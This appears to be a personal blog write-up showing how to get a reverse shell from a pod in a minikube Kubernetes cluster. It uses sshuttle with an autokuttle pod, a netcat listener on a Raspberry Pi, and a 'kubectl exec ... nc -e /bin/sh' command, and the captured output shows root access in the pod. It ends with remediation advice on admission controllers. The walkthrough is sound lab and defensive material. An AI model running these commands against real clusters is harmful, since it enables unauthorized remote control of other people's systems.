During an investigation I tried to find a way to create a reverse shell on a Kubernetes (k8s) cluster.
There are certain conditions which needs to be met for this to work:
- Access to k8s cluster using
kubectlby setting up the context (Don’t need to be on the same host) - k8s allows for any container image to be deployed
There are numerous ways to create a reverse shell on a k8s cluster see https://cloudsecdocs.com/container_security/offensive/attacks/techniques/reverse_shell/
My problem is with the networking part, where the k8s cluster is not aware of my attacker machine by default as it only resolves addresses within the cluster and public IP’s.
Let’s see how to get around that.
Prerequisites
For this post I have used the minikube instance which I have written about in a previous post.
I have also installed sshuttle on my attacker machine. This would help with the networking part.
As sshuttle is not Kubernetes specific, we need a way to utilize kubectl instead of ssh and have found this GitHub gist called autokuttle to do that.
Setting up sshuttle
Before executing the sshuttle command, check that your kubectl context is pointing to the target k8s cluster (in my case it is my minikube). For a quick way to switch do the following:
$ export KUBECONFIG=/path/to/config
In this scenario we need to deploy a pod into the k8s cluster, which sshuttle is going to use to route traffic between the attacker machine and your k8s cluster.
This where we use the autokuttle script to set everything up for us. After you have downloaded the script, execute the following command:
$ sshuttle -v --dns -r 'none' -e "./autokuttle.sh" 0.0.0.0/0
sshuttle will enable the attacker machine to resolve DNS queries and IP address within the k8s cluster as if the cluster is hosted on your attacker machine.
If everything was set up correctly you would see the following output on your attacker machine:
c : Connected to server.
fw: setting up.
fw: iptables -t nat -N sshuttle-12300
fw: iptables -t nat -F sshuttle-12300
fw: iptables -t nat -I OUTPUT 1 -j sshuttle-12300
fw: iptables -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -t nat -A sshuttle-12300 -j RETURN -m ttl --ttl 63
fw: iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 127.0.0.53/32 -p udp --dport 53 --to-ports 12299
fw: iptables -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
fw: iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 0.0.0.0/0 -p tcp --to-ports 12300
Also verify that the autokuttle pod has been deployed successfully:
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
autokuttle.sh-65585f5465-rts9w 1/1 Running 0 13h
Setting up the attack
For some reason I could not use my attack machine’s IP address to create a reverse shell with, but could use any other machine on my local network to create a shell.
In my case I used a Raspberry Pi to create a listener server on, by executing the following on the Raspberry Pi:
$ nc -lvnp 4444
Back on the attacker machine we set the internal network IP of the Raspberry Pi (your IP may differ):
$ export PI_IP=192.168.0.110
Then we use kubectl to execute the bind:
$ kubectl exec -it autokuttle.sh-65585f5465-rts9w -- /bin/sh -c "nc ${PI_IP} 4444 -e /bin/sh"
If everything went good, then you should have a reverse shell now running on the Raspberry Pi (192.168.0.110):
listening on [::]:4444 ...
connect to [::ffff:192.168.0.110]:4444 from [::ffff:192.168.0.104]:37300 ([::ffff:192.168.0.104]:37300)
whoami
root
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: sit0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN qlen 1000
link/sit 0.0.0.0 brd 0.0.0.0
14: eth0@if15: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
link/ether 02:42:ac:11:00:06 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.6/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
The 172.17.0.6 address is the pod’s IP address within the k8s cluster.
Future work
It would be interesting to see whether we can navigate through the cluster further and also see whether we can infect other pod’s which runs python to get a reverse shell on them as well.
Remediation
As this is a minikube cluster, there is not many restrictions or checks in place. The quickest way to remediate this is to restrict your k8s cluster to load container images from public or untrusted registries.
This can be done by deploying k8s admission controllers to prevent untrusted images from being deployed within your cluster.
Kyverno can be used to enforce a policy to restrict untrusted images within the k8s cluster, see this policy for example.